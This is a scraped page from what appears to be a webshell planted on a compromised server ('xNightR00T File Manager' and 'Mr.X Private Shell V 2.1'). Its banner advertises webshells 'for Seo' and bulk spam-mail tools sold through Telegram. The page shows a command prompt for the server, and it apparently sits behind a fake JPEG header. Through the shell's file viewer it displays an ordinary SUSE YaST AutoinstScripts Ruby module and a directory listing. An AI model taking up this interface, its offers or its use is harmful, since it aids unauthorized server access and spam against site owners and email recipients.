xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
© xNightR00T
����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

ftpuser@216.73.216.168: ~ $ 
# encoding: utf-8

# File:	modules/AutoinstScripts.ycp
# Module:	Auto-Installation
# Summary:	Custom scripts
# Authors:	Anas Nashif <nashif@suse.de>
#
# $Id$
require "yast"

module Yast
  class AutoinstScriptsClass < Module

    include Yast::Logger

    def main
      Yast.import "UI"
      textdomain "autoinst"

      Yast.import "Mode"
      Yast.import "AutoinstConfig"
      Yast.import "Summary"
      Yast.import "URL"
      Yast.import "Popup"
      Yast.import "Label"
      Yast.import "Report"

      Yast.include self, "autoinstall/io.rb"

      # Pre scripts
      @pre = []

      # Post scripts
      @post = []

      # Chroot scripts
      @chroot = []

      # Init scripts
      @init = []

      # postpart scripts
      @postpart = []


      # Merged scripts
      @merged = []

      # default value of settings modified
      @modified = false
      AutoinstScripts()
    end

    # Function sets internal variable, which indicates, that any
    # settings were modified, to "true"
    def SetModified
      @modified = true

      nil
    end

    # Functions which returns if the settings were modified
    # @return [Boolean]  settings were modified
    def GetModified
      @modified
    end

    # Checking if the script has the right format
    # @param [Hash] scripts section of the AutoYast configuration
    # @param [String] kind of script (pre, post,..)
    # @return [Array<String>] of scripts
    def valid_scripts_for(tree, key)
      tree.fetch(key, []).select do |h|
        next true if h.is_a?(Hash)
        log.warn "Cannot evaluate #{key}: #{h.inspect}"
        false
      end
    end

    # merge all types of scripts into one single list
    # @param -
    # @return merged list
    def mergeScripts
      result = Builtins.maplist(@pre) do |p|
        p = Builtins.add(p, "type", "pre-scripts")
        deep_copy(p)
      end
      result = Convert.convert(
        Builtins.union(result, Builtins.maplist(@post) do |p|
          p = Builtins.add(p, "type", "post-scripts")
          deep_copy(p)
        end),
        :from => "list",
        :to   => "list <map>"
      )
      result = Convert.convert(
        Builtins.union(result, Builtins.maplist(@chroot) do |p|
          p = Builtins.add(p, "type", "chroot-scripts")
          deep_copy(p)
        end),
        :from => "list",
        :to   => "list <map>"
      )
      result = Convert.convert(
        Builtins.union(result, Builtins.maplist(@init) do |p|
          p = Builtins.add(p, "type", "init-scripts")
          deep_copy(p)
        end),
        :from => "list",
        :to   => "list <map>"
      )
      result = Convert.convert(
        Builtins.union(result, Builtins.maplist(@postpart) do |p|
          p = Builtins.add(p, "type", "postpartitioning-scripts")
          deep_copy(p)
        end),
        :from => "list",
        :to   => "list <map>"
      )
      deep_copy(result)
    end


    # Constructor
    def AutoinstScripts
      @merged = mergeScripts if !Mode.autoinst

      nil
    end


    # Dump the settings to a map, for autoinstallation use.
    # @return [Hash]
    def Export
      @pre = []
      @post = []
      @chroot = []
      @init = []
      @postpart = []
      Builtins.y2milestone("Merged %1", @merged)

      # split
      Builtins.foreach(@merged) do |s|
        if Ops.get_string(s, "type", "") == "pre-scripts"
          @pre = Builtins.add(@pre, s)
        elsif Ops.get_string(s, "type", "") == "post-scripts"
          @post = Builtins.add(@post, s)
        elsif Ops.get_string(s, "type", "") == "init-scripts"
          @init = Builtins.add(@init, s)
        elsif Ops.get_string(s, "type", "") == "chroot-scripts"
          @chroot = Builtins.add(@chroot, s)
        elsif Ops.get_string(s, "type", "") == "postpartitioning-scripts"
          @postpart = Builtins.add(@postpart, s)
        end
      end

      # clean
      expre = Builtins.maplist(@pre) do |p|
        {
          "filename"      => Ops.get_string(p, "filename", ""),
          "interpreter"   => Ops.get_string(p, "interpreter", ""),
          "source"        => Ops.get_string(p, "source", ""),
          "notification"  => Ops.get_string(p, "notification", ""),
          "location"      => Ops.get_string(p, "location", ""),
          "feedback"      => Ops.get_boolean(p, "feedback", false),
          "feedback_type" => Ops.get_string(p, "feedback_type", ""),
	  "param-list"    => p.fetch("param-list",[]),
          "debug"         => Ops.get_boolean(p, "debug", true)
        }
      end
      expost = Builtins.maplist(@post) do |p|
        {
          "filename"       => Ops.get_string(p, "filename", ""),
          "interpreter"    => Ops.get_string(p, "interpreter", ""),
          "source"         => Ops.get_string(p, "source", ""),
          "location"       => Ops.get_string(p, "location", ""),
          "notification"   => Ops.get_string(p, "notification", ""),
          "feedback"       => Ops.get_boolean(p, "feedback", false),
          "feedback_type"  => Ops.get_string(p, "feedback_type", ""),
          "debug"          => Ops.get_boolean(p, "debug", true),
	  "param-list"    => p.fetch("param-list",[]),
        }
      end
      exchroot = Builtins.maplist(@chroot) do |p|
        {
          "filename"      => Ops.get_string(p, "filename", ""),
          "interpreter"   => Ops.get_string(p, "interpreter", ""),
          "source"        => Ops.get_string(p, "source", ""),
          "chrooted"      => Ops.get_boolean(p, "chrooted", false),
          "notification"  => Ops.get_string(p, "notification", ""),
          "location"      => Ops.get_string(p, "location", ""),
          "feedback"      => Ops.get_boolean(p, "feedback", false),
          "feedback_type" => Ops.get_string(p, "feedback_type", ""),
	  "param-list"    => p.fetch("param-list",[]),
          "debug"         => Ops.get_boolean(p, "debug", true)
        }
      end
      exinit = Builtins.maplist(@init) do |p|
        {
          "filename" => Ops.get_string(p, "filename", ""),
          "source"   => Ops.get_string(p, "source", ""),
          "location" => Ops.get_string(p, "location", ""),
          "debug"    => Ops.get_boolean(p, "debug", true)
        }
      end
      expostpart = Builtins.maplist(@postpart) do |p|
        {
          "filename"      => Ops.get_string(p, "filename", ""),
          "interpreter"   => Ops.get_string(p, "interpreter", ""),
          "source"        => Ops.get_string(p, "source", ""),
          "location"      => Ops.get_string(p, "location", ""),
          "notification"  => Ops.get_string(p, "notification", ""),
          "feedback"      => Ops.get_boolean(p, "feedback", false),
          "feedback_type" => Ops.get_string(p, "feedback_type", ""),
	  "param-list"    => p.fetch("param-list",[]),
          "debug"         => Ops.get_boolean(p, "debug", true)
        }
      end

      result = {}
      if Ops.greater_than(Builtins.size(expre), 0)
        Ops.set(result, "pre-scripts", expre)
      end
      if Ops.greater_than(Builtins.size(expost), 0)
        Ops.set(result, "post-scripts", expost)
      end
      if Ops.greater_than(Builtins.size(exchroot), 0)
        Ops.set(result, "chroot-scripts", exchroot)
      end
      if Ops.greater_than(Builtins.size(exinit), 0)
        Ops.set(result, "init-scripts", exinit)
      end
      if Ops.greater_than(Builtins.size(expostpart), 0)
        Ops.set(result, "postpartitioning-scripts", expostpart)
      end

      deep_copy(result)
    end

    def Resolve_ws(script)
      script = deep_copy(script)
      if !Builtins.isempty(Ops.get_string(script, "location", ""))
        l = Ops.get_string(script, "location", "").strip
        if l != Ops.get_string(script, "location", "")
          Builtins.y2milestone(
            "changed script location to \"%1\" from \"%2\"",
            l,
            Ops.get_string(script, "location", "")
          )
          Ops.set(script, "location", l)
        end
      end
      deep_copy(script)
    end

    def Resolve_relurl(script)
      script = deep_copy(script)
      if Builtins.issubstring(
          Ops.get_string(script, "location", ""),
          "relurl://"
        )
        l = Ops.get_string(script, "location", "")
        l = Builtins.substring(l, 9)
        newloc = ""
        if AutoinstConfig.scheme == "relurl"
          Builtins.y2milestone("autoyast profile was relurl too")
          newloc = Convert.to_string(
            SCR.Read(path(".etc.install_inf.ayrelurl"))
          )
          tok = URL.Parse(newloc)
          Builtins.y2milestone("tok = %1", tok)
          newloc = Ops.add(
            Ops.add(
              Ops.add(
                Ops.add(
                  Ops.add(Ops.get_string(tok, "scheme", ""), "://"),
                  Ops.get_string(tok, "host", "")
                ),
                "/"
              ),
              dirname(Ops.get_string(tok, "path", ""))
            ),
            l
          )
        else
          newloc = Ops.add(
            Ops.add(
              Ops.add(
                Ops.add(
                  Ops.add(AutoinstConfig.scheme, "://"),
                  AutoinstConfig.host
                ),
                "/"
              ),
              AutoinstConfig.directory
            ),
            l
          )
        end
        Ops.set(script, "location", newloc)
        Builtins.y2milestone("changed relurl to %1 for script", newloc)
      end
      deep_copy(script)
    end

    def Resolve_location(d)
      d = deep_copy(d)
      d = Builtins.maplist(d) { |script| Resolve_relurl(Resolve_ws(script)) }
      deep_copy(d)
    end

    # Get all the configuration from a map.
    # When called by autoinst_<module name> (preparing autoinstallation data)
    # the map may be empty.
    # @param settings	$[...]
    # @return	success
    def Import(s)
      s = deep_copy(s)
      Builtins.y2debug("Calling AutoinstScripts::Import()")
      # take only hash entries (bnc#986049)
      @pre = valid_scripts_for(s, "pre-scripts")
      @init = valid_scripts_for(s, "init-scripts")
      @post = valid_scripts_for(s, "post-scripts")
      @chroot = valid_scripts_for(s, "chroot-scripts")
      @postpart = valid_scripts_for(s, "postpartitioning-scripts")

      @pre = Resolve_location(@pre)
      @init = Resolve_location(@init)
      @post = Resolve_location(@post)
      @chroot = Resolve_location(@chroot)
      @postpart = Resolve_location(@postpart)

      @merged = mergeScripts
      Builtins.y2debug("merged: %1", @merged)
      true
    end

    # Return Summary
    # @return [String] summary
    def Summary
      summary = ""
      summary = Summary.AddHeader(summary, _("Preinstallation Scripts"))
      if Ops.greater_than(Builtins.size(@pre), 0)
        summary = Summary.OpenList(summary)
        Builtins.foreach(@pre) do |script|
          summary = Summary.AddListItem(
            summary,
            Ops.get_string(script, "filename", "")
          )
        end
        summary = Summary.CloseList(summary)
      else
        summary = Summary.AddLine(summary, Summary.NotConfigured)
      end
      summary = Summary.AddHeader(summary, _("Postinstallation Scripts"))
      if Ops.greater_than(Builtins.size(@post), 0)
        summary = Summary.OpenList(summary)
        Builtins.foreach(@post) do |script|
          summary = Summary.AddListItem(
            summary,
            Ops.get_string(script, "filename", "")
          )
        end
        summary = Summary.CloseList(summary)
      else
        summary = Summary.AddLine(summary, Summary.NotConfigured)
      end
      summary = Summary.AddHeader(summary, _("Chroot Scripts"))
      if Ops.greater_than(Builtins.size(@chroot), 0)
        summary = Summary.OpenList(summary)
        Builtins.foreach(@chroot) do |script|
          summary = Summary.AddListItem(
            summary,
            Ops.get_string(script, "filename", "")
          )
        end
        summary = Summary.CloseList(summary)
      else
        summary = Summary.AddLine(summary, Summary.NotConfigured)
      end
      summary = Summary.AddHeader(summary, _("Init Scripts"))
      if Ops.greater_than(Builtins.size(@init), 0)
        summary = Summary.OpenList(summary)
        Builtins.foreach(@init) do |script|
          summary = Summary.AddListItem(
            summary,
            Ops.get_string(script, "filename", "")
          )
        end
        summary = Summary.CloseList(summary)
      else
        summary = Summary.AddLine(summary, Summary.NotConfigured)
      end
      summary = Summary.AddHeader(summary, _("Postpartitioning Scripts"))
      if Ops.greater_than(Builtins.size(@postpart), 0)
        summary = Summary.OpenList(summary)
        Builtins.foreach(@postpart) do |script|
          summary = Summary.AddListItem(
            summary,
            Ops.get_string(script, "filename", "")
          )
        end
        summary = Summary.CloseList(summary)
      else
        summary = Summary.AddLine(summary, Summary.NotConfigured)
      end
      summary
    end

    # delete a script from a list
    # @param script name
    # @return [void]
    def deleteScript(scriptName)
      clean = Builtins.filter(@merged) do |s|
        Ops.get_string(s, "filename", "") != scriptName
      end
      @merged = deep_copy(clean)
      nil
    end












    # Add or edit a script
    # @param [String] scriptName script name
    # @param [String] source source of script
    # @param [String] interpreter interpreter to be used with script
    # @param [String] type type of script
    # @return [void]
    def AddEditScript(scriptName, source, interpreter, type, chrooted, debug, feedback, feedback_type, location, notification)
      mod = false
      @merged = Builtins.maplist(@merged) do |script|
        # Edit
        if Ops.get_string(script, "filename", "") == scriptName
          oldScript = {}
          oldScript = Builtins.add(oldScript, "filename", scriptName)
          oldScript = Builtins.add(oldScript, "source", source)
          oldScript = Builtins.add(oldScript, "interpreter", interpreter)
          oldScript = Builtins.add(oldScript, "type", type)
          oldScript = Builtins.add(oldScript, "chrooted", chrooted)
          oldScript = Builtins.add(oldScript, "debug", debug)
          oldScript = Builtins.add(oldScript, "feedback", feedback)
          oldScript = Builtins.add(oldScript, "feedback_type", feedback_type)
          oldScript = Builtins.add(oldScript, "location", location)
          oldScript = Builtins.add(oldScript, "notification", notification)

          mod = true
          next deep_copy(oldScript)
        else
          next deep_copy(script)
        end
      end

      if !mod
        script = {}
        script = Builtins.add(script, "filename", scriptName)
        script = Builtins.add(script, "source", source)
        script = Builtins.add(script, "interpreter", interpreter)
        script = Builtins.add(script, "type", type)
        script = Builtins.add(script, "chrooted", chrooted)
        script = Builtins.add(script, "debug", debug)
        script = Builtins.add(script, "feedback", feedback)
        script = Builtins.add(script, "feedback_type", feedback_type)
        script = Builtins.add(script, "location", location)
        script = Builtins.add(script, "notification", notification)

        @merged = Builtins.add(@merged, script)
      end
      Builtins.y2debug("Merged scripts: %1", @merged)
      nil
    end


    # return type of script as formatted string
    # @param script type
    # @return [String] type as translated string
    def typeString(type)
      if type == "pre-scripts"
        return _("Pre")
      elsif type == "post-scripts"
        return _("Post")
      elsif type == "init-scripts"
        return _("Init")
      elsif type == "chroot-scripts"
        return _("Chroot")
      elsif type == "postpartitioning-scripts"
        return _("Postpartitioning")
      end
      _("Unknown")
    end


    # bidirectional feedback during script execution
    # Experimental

    def splitParams(s)
      l = Builtins.splitstring(s, "|")
      ret = {}
      l = Builtins.remove(l, 0)
      Builtins.foreach(l) do |element|
        p = Builtins.splitstring(element, "=")
        Ops.set(ret, Ops.get(p, 0, ""), Ops.get(p, 1, ""))
      end
      deep_copy(ret)
    end

    def interactiveScript(shell, debug, scriptPath, params, current_logdir, scriptName)
      data = {}
      widget = ""
      SCR.Execute(path(".target.remove"), "/tmp/ay_opipe")
      SCR.Execute(path(".target.remove"), "/tmp/ay_ipipe")
      SCR.Execute(path(".target.bash"), "mkfifo -m 660 /tmp/ay_opipe", {})
      SCR.Execute(path(".target.bash"), "mkfifo -m 660 /tmp/ay_ipipe", {})
      execute = Builtins.sformat(
        "%1 %2 %3 %4 2> %5/%6.log ",
        shell,
        debug,
        scriptPath,
	params,
        current_logdir,
        scriptName
      )
      SCR.Execute(
        path(".target.bash_background"),
        Ops.add("OPIPE=/tmp/ay_opipe IPIPE=/tmp/ay_ipipe ", execute),
        {}
      )
      run = true
      ok_button = false
      vbox = VBox()

      buffer = []
      while SCR.Read(path(".target.lstat"), "/tmp/ay_opipe") != {} && run
        data = Convert.to_map(
          SCR.Execute(path(".target.bash_output"), "cat /tmp/ay_opipe", {})
        )
        buffer = Builtins.splitstring(Ops.get_string(data, "stdout", ""), "\n")
        while buffer != []
          line = Ops.get(buffer, 0, "")
          buffer = Builtins.remove(buffer, 0)
          next if Builtins.size(line) == 0
          Ops.set(data, "stdout", line)
          Builtins.y2milestone("working on line %1", line)
          if Builtins.substring(Ops.get_string(data, "stdout", ""), 0, 8) == "__EXIT__"
            if widget == "radiobutton"
              vbox = Builtins.add(vbox, PushButton(Id(:ok), Label.OKButton))
              UI.OpenDialog(RadioButtonGroup(Id(:rb), vbox))
            end
            if ok_button == true
              UI.ChangeWidget(Id(:ok), :Enabled, true)
              ret = UI.UserInput
              if widget == "radiobutton"
                val = UI.QueryWidget(Id(:rb), :CurrentButton)
                SCR.Execute(
                  path(".target.bash"),
                  Builtins.sformat(
                    "echo \"%1\" > /tmp/ay_ipipe",
                    AutoinstConfig.ShellEscape(Convert.to_string(val))
                  ),
                  {}
                )
              elsif widget == "entry"
                val = UI.QueryWidget(Id(:ay_entry), :Value)
                SCR.Execute(
                  path(".target.bash"),
                  Builtins.sformat(
                    "echo \"%1\" > /tmp/ay_ipipe",
                    AutoinstConfig.ShellEscape(Convert.to_string(val))
                  ),
                  {}
                )
              end
              ok_button = false
            end
            vbox = VBox()
            if widget == ""
              run = false
            else
              UI.CloseDialog
            end
            widget = ""
          elsif Builtins.substring(Ops.get_string(data, "stdout", ""), 0, 12) == "__PROGRESS__"
            params = splitParams(Ops.get_string(data, "stdout", ""))
            UI.OpenDialog(
              VBox(
                ProgressBar(
                  Id(:pr),
                  Ops.get(params, "label", ""),
                  Builtins.tointeger(Ops.get(params, "max", "100")),
                  0
                )
              )
            )
            widget = "progressbar"
          elsif Builtins.substring(Ops.get_string(data, "stdout", ""), 0, 8) == "__TEXT__"
            params = splitParams(Ops.get_string(data, "stdout", ""))
            hspace = Builtins.tointeger(Ops.get(params, "width", "10"))
            vspace = Builtins.tointeger(Ops.get(params, "height", "20"))
            ok_button = Builtins.haskey(params, "okbutton") ? true : false
            vbox = VBox(
              HSpacing(hspace),
              HBox(VSpacing(vspace), RichText(Id(:mle), ""))
            )
            if ok_button == true
              vbox = Builtins.add(vbox, PushButton(Id(:ok), Label.OKButton))
            end
            UI.OpenDialog(vbox)
            UI.ChangeWidget(Id(:ok), :Enabled, false) if ok_button == true
            widget = "text"
          elsif Builtins.substring(Ops.get_string(data, "stdout", ""), 0, 9) == "__ENTRY__"
            params = splitParams(Ops.get_string(data, "stdout", ""))
            if Builtins.haskey(params, "description")
              vbox = Builtins.add(vbox, HSpacing(40))
              vbox = Builtins.add(
                vbox,
                RichText(Ops.get(params, "description", ""))
              )
            end
            vbox = Builtins.add(
              vbox,
              TextEntry(
                Id(:ay_entry),
                Ops.get(params, "label", ""),
                Ops.get(params, "default", "")
              )
            )
            vbox = Builtins.add(vbox, PushButton(Id(:ok), Label.OKButton))
            UI.OpenDialog(vbox)
            widget = "entry"
            ok_button = true
          elsif Builtins.substring(Ops.get_string(data, "stdout", ""), 0, 15) == "__RADIOBUTTON__"
            params = splitParams(Ops.get_string(data, "stdout", ""))
            if Builtins.haskey(params, "description")
              vbox = Builtins.add(vbox, HSpacing(60))
              vbox = Builtins.add(
                vbox,
                RichText(Ops.get(params, "description", ""))
              )
            end
            widget = "radiobutton"
            ok_button = true
          else
            if widget == "progressbar"
              UI.ChangeWidget(
                Id(:pr),
                :Value,
                Builtins.tointeger(Ops.get_string(data, "stdout", "0"))
              )
            elsif widget == "text"
              UI.ChangeWidget(
                Id(:mle),
                :Value,
                Ops.add(
                  Convert.to_string(UI.QueryWidget(Id(:mle), :Value)),
                  Ops.get_string(data, "stdout", "")
                )
              )
            elsif widget == "radiobutton"
              if Builtins.substring(Ops.get_string(data, "stdout", ""), 0, 10) == "__BUTTON__"
                params = splitParams(Ops.get_string(data, "stdout", ""))
                vbox = Builtins.add(
                  vbox,
                  Left(
                    RadioButton(
                      Id(Ops.get(params, "val", "")),
                      Ops.get(params, "label", "")
                    )
                  )
                )
              else
                Builtins.y2milestone(
                  "*urgs* received '%1' instead of '__BUTTON__' during RADIOBUTTON creation",
                  Ops.get_string(data, "stdout", "")
                )
              end
            end
          end
        end
      end
      SCR.Execute(path(".target.remove"), "/tmp/ay_opipe")
      SCR.Execute(path(".target.remove"), "/tmp/ay_ipipe")

      nil
    end


    # Execute pre scripts
    # @param [String] type of script
    # @param boolean if script should be executed in chroot env.
    # @return [Boolean] true on success
    def Write(type, special)
      return true if !Mode.autoinst && !Mode.autoupgrade

      scripts = []
      if type == "pre-scripts"
        scripts = deep_copy(@pre)
      elsif type == "init-scripts"
        scripts = deep_copy(@init)
      elsif type == "chroot-scripts" && !special
        scripts = Builtins.filter(@chroot) do |s|
          !Ops.get_boolean(s, "chrooted", false)
        end
      elsif type == "chroot-scripts" && special
        scripts = Builtins.filter(@chroot) do |s|
          Ops.get_boolean(s, "chrooted", false)
        end
      elsif type == "post-scripts"
        scripts = deep_copy(@post)
      elsif type == "postpartitioning-scripts"
        scripts = deep_copy(@postpart)
      else
        Builtins.y2error("Unsupported script type")
        return false
      end

      tmpdirString = ""
      current_logdir = ""

      if type == "pre-scripts" || type == "postpartitioning-scripts"
        tmpdirString = Builtins.sformat("%1/%2", AutoinstConfig.tmpDir, type)
        SCR.Execute(path(".target.mkdir"), tmpdirString)

        current_logdir = Builtins.sformat("%1/logs", tmpdirString)
        SCR.Execute(path(".target.mkdir"), current_logdir)
      elsif type == "chroot-scripts"
        if !special
          tmpdirString = Builtins.sformat(
            "%1%2",
            AutoinstConfig.destdir,
            AutoinstConfig.scripts_dir
          )
          SCR.Execute(path(".target.mkdir"), tmpdirString)

          current_logdir = Builtins.sformat(
            "%1%2",
            AutoinstConfig.destdir,
            AutoinstConfig.logs_dir
          )
          SCR.Execute(path(".target.mkdir"), current_logdir)
        else
          tmpdirString = Builtins.sformat("%1", AutoinstConfig.scripts_dir)
          SCR.Execute(path(".target.mkdir"), tmpdirString)

          current_logdir = Builtins.sformat("%1", AutoinstConfig.logs_dir)
          SCR.Execute(path(".target.mkdir"), current_logdir)
        end
      else
        current_logdir = AutoinstConfig.logs_dir
      end


      Builtins.foreach(scripts) do |s|
        scriptInterpreter = Ops.get_string(s, "interpreter", "shell")
	params = s.fetch("param-list",[]).join(" ")
        scriptName = Ops.get_string(s, "filename", "")
        if scriptName == ""
          t = URL.Parse(Ops.get_string(s, "location", ""))
          scriptName = basename(Ops.get_string(t, "path", ""))
          scriptName = type if scriptName == ""
        end
        scriptPath = ""
        if type == "pre-scripts" || type == "postpartitioning-scripts"
          #        y2milestone("doing /sbin/udevcontrol stop_exec_queue now to prevent trouble if one is doing partitioning in a pre-script");
          #        SCR::Execute( .target.bash, "/sbin/udevcontrol stop_exec_queue" );
          scriptPath = Builtins.sformat(
            "%1/%2/%3",
            AutoinstConfig.tmpDir,
            type,
            scriptName
          )
          Builtins.y2milestone("Writing %1 script into %2", type, scriptPath)
          if Ops.get_string(s, "location", "") != ""
            Builtins.y2debug(
              "getting script: %1",
              Ops.get_string(s, "location", "")
            )
            if !GetURL(Ops.get_string(s, "location", ""), scriptPath)
              Builtins.y2error(
                "script %1 could not be retrieved",
                Ops.get_string(s, "location", "")
              )
            end
          else
            SCR.Write(
              path(".target.string"),
              scriptPath,
              Ops.get_string(s, "source", "echo Empty script!")
            )
          end
        elsif type == "init-scripts"
          scriptPath = Builtins.sformat(
            "%1/%2",
            AutoinstConfig.initscripts_dir,
            scriptName
          )
          if Ops.get_string(s, "location", "") != ""
            scriptPath = AutoinstConfig.destdir + scriptPath #bnc961320
            Builtins.y2debug(
              "getting script: %1",
              Ops.get_string(s, "location", "")
            )
            if !GetURL(Ops.get_string(s, "location", ""), scriptPath)
              Builtins.y2error(
                "script %1 could not be retrieved",
                Ops.get_string(s, "location", "")
              )
            end
          else
            SCR.Write(
              path(".target.string"),
              scriptPath,
              Ops.get_string(s, "source", "echo Empty script!")
            )
          end
          Builtins.y2milestone("Writing init script into %1", scriptPath)
          # moved to 1st stage because of systemd
          #Service::Enable("autoyast");
        elsif type == "chroot-scripts"
          #scriptPath = sformat("%1%2/%3", (special) ? "" : AutoinstConfig::destdir,  AutoinstConfig::scripts_dir,  scriptName);

          toks = URL.Parse(Ops.get_string(s, "location", ""))
          # special == true ---> The script has to be installed into /mnt
          # because it will be called in a chroot environment.
          # (bnc#889931)
          # Add /mnt only if the script is getting via GetURL.
          # In the other case SCR will do it via target setting.
          # (bnc#897212)
          #
          # FIXME: Find out why "nfs" has a special behavior.
          #        Take another name for "s"
          if (special && s["location"] && !s["location"].empty?) ||
            toks["scheme"] == "nfs"

            scriptPath = Builtins.sformat(
              "%1%2/%3",
              AutoinstConfig.destdir,
              AutoinstConfig.scripts_dir,
              scriptName
            )
          else
            scriptPath = Builtins.sformat(
              "%1/%2",
              AutoinstConfig.scripts_dir,
              scriptName
            )
          end


          Builtins.y2milestone("Writing chroot script into %1", scriptPath)
          if Ops.get_string(s, "location", "") != ""
            if !GetURL(Ops.get_string(s, "location", ""), scriptPath)
              Builtins.y2error(
                "script %1 could not be retrieved",
                Ops.get_string(s, "location", "")
              )
            end
          else
            SCR.Write(
              path(".target.string"),
              scriptPath,
              Ops.get_string(s, "source", "echo Empty script!")
            )
          end
          # FIXME: That's duplicate code
          if (special && s["location"] && !s["location"].empty?) ||
            toks["scheme"] == "nfs"

            scriptPath = scriptPath[AutoinstConfig.destdir.length..-1] # cut off the e.g. /mnt for later execution
          end
        else
          scriptPath = Builtins.sformat(
            "%1/%2",
            AutoinstConfig.scripts_dir,
            scriptName
          )
          if Ops.get_string(s, "location", "") != ""
            if special # downloading scripts for post-installation
              scriptPath = AutoinstConfig.destdir + scriptPath
              if !GetURL(Ops.get_string(s, "location", ""), scriptPath)
                Builtins.y2error(
                  "script %1 could not be retrieved",
                  Ops.get_string(s, "location", "")
                )
              else
                log.info("Script downlaoded to #{scriptPath}")
              end
            else
              log.info("Using already downlaoded script #{scriptPath}")
            end
          else
            log.info("Writing script into #{scriptPath}")
            SCR.Write(
              path(".target.string"),
              scriptPath,
              Ops.get_string(s, "source", "echo Empty script!")
            )
          end
        end
        if type != "init-scripts" &&
          !(type == "post-scripts" && special) # We are not in the first installation stage
                                               # where post-scripts have been downloaded only.
          # string message =  sformat(_("Executing user supplied script: %1"), scriptName);
          executionString = ""
          showFeedback = Ops.get_boolean(s, "feedback", false)

          if Ops.get_string(s, "notification", "") != ""
            Popup.ShowFeedback("", Ops.get_string(s, "notification", ""))
          end

          if scriptInterpreter == "shell"
            debug = Ops.get_boolean(s, "debug", true) ? "-x" : ""
            if SCR.Read(path(".target.size"), Ops.add(scriptPath, "-run")) == -1 ||
                Ops.get_boolean(s, "rerun", false) == true
              if Ops.get_boolean(s, "interactive", false) == true
                interactiveScript(
                  "/bin/sh",
                  debug,
                  scriptPath,
		  params,
                  current_logdir,
                  scriptName
                )
              else
                executionString = Builtins.sformat(
                  "/bin/sh %1 %2 %3 &> %4/%5.log ",
                  debug,
                  scriptPath,
		  params,
                  current_logdir,
                  scriptName
                )
                Builtins.y2milestone(
                  "Script Execution command: %1",
                  executionString
                )
                SCR.Execute(path(".target.bash"), executionString)
                SCR.Execute(
                  path(".target.bash"),
                  "/bin/touch $FILE",
                  { "FILE" => Ops.add(scriptPath, "-run") }
                )
              end
            end
          elsif scriptInterpreter == "perl"
            debug = Ops.get_boolean(s, "debug", true) ? "-w" : ""
            if SCR.Read(path(".target.size"), Ops.add(scriptPath, "-run")) == -1 ||
                Ops.get_boolean(s, "rerun", false) == true
              if Ops.get_boolean(s, "interactive", false) == true
                interactiveScript(
                  "/usr/bin/perl",
                  debug,
                  scriptPath,
		  params,
                  current_logdir,
                  scriptName
                )
              else
                executionString = Builtins.sformat(
                  "/usr/bin/perl %1 %2 %3 &> %4/%5.log ",
                  debug,
                  scriptPath,
		  params,
                  current_logdir,
                  scriptName
                )
                Builtins.y2milestone(
                  "Script Execution command: %1",
                  executionString
                )
                SCR.Execute(path(".target.bash"), executionString)
                SCR.Execute(
                  path(".target.bash"),
                  "/bin/touch $FILE",
                  { "FILE" => Ops.add(scriptPath, "-run") }
                )
              end
            end
          elsif scriptInterpreter == "python"
            if SCR.Read(path(".target.size"), Ops.add(scriptPath, "-run")) == -1 ||
                Ops.get_boolean(s, "rerun", false) == true
              if Ops.get_boolean(s, "interactive", false) == true
                interactiveScript(
                  "/usr/bin/python",
                  "",
                  scriptPath,
		  params,
                  current_logdir,
                  scriptName
                )
              else
                executionString = Builtins.sformat(
                  "/usr/bin/python %1 %2 &> %3/%4.log ",
                  scriptPath,
		  params,
                  current_logdir,
                  scriptName
                )
                Builtins.y2milestone(
                  "Script Execution command: %1",
                  executionString
                )
                SCR.Execute(path(".target.bash"), executionString)
                SCR.Execute(
                  path(".target.bash"),
                  "/bin/touch $FILE",
                  { "FILE" => Ops.add(scriptPath, "-run") }
                )
              end
            end
          else
            Builtins.y2error("Unknown interpreter: %1", scriptInterpreter)
          end
          feedback = ""

          Popup.ClearFeedback if Ops.get_string(s, "notification", "") != ""

          if executionString != ""
            if showFeedback
              feedback = Convert.to_string(
                SCR.Read(
                  path(".target.string"),
                  Ops.add(
                    Ops.add(Ops.add(current_logdir, "/"), scriptName),
                    ".log"
                  )
                )
              )
            end
            if Ops.greater_than(Builtins.size(feedback), 0)
              if Ops.get_string(s, "feedback_type", "") == ""
                Popup.LongText("", RichText(Opt(:plainText), feedback), 50, 20)
              elsif Ops.get_string(s, "feedback_type", "") == "message"
                Report.Message(feedback)
              elsif Ops.get_string(s, "feedback_type", "") == "warning"
                Report.Warning(feedback)
              elsif Ops.get_string(s, "feedback_type", "") == "error"
                Report.Error(feedback)
              end
            end
          end
        end
      end

      true
    end

    publish :variable => :pre, :type => "list <map>"
    publish :variable => :post, :type => "list <map>"
    publish :variable => :chroot, :type => "list <map>"
    publish :variable => :init, :type => "list <map>"
    publish :variable => :postpart, :type => "list <map>"
    publish :variable => :merged, :type => "list <map>"
    publish :variable => :modified, :type => "boolean"
    publish :function => :SetModified, :type => "void ()"
    publish :function => :GetModified, :type => "boolean ()"
    publish :function => :Export, :type => "map <string, list> ()"
    publish :function => :Resolve_ws, :type => "map (map)"
    publish :function => :Resolve_relurl, :type => "map (map)"
    publish :function => :Resolve_location, :type => "list <map> (list <map>)"
    publish :function => :Import, :type => "boolean (map)"
    publish :function => :Summary, :type => "string ()"
    publish :function => :deleteScript, :type => "void (string)"
    publish :function => :AddEditScript, :type => "void (string, string, string, string, boolean, boolean, boolean, boolean, string, string, string)"
    publish :function => :typeString, :type => "string (string)"
    publish :function => :Write, :type => "boolean (string, boolean)"
  end

  AutoinstScripts = AutoinstScriptsClass.new
  AutoinstScripts.main
end

Filemanager

DIR : / usr/ share/ YaST2/ modules/
Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
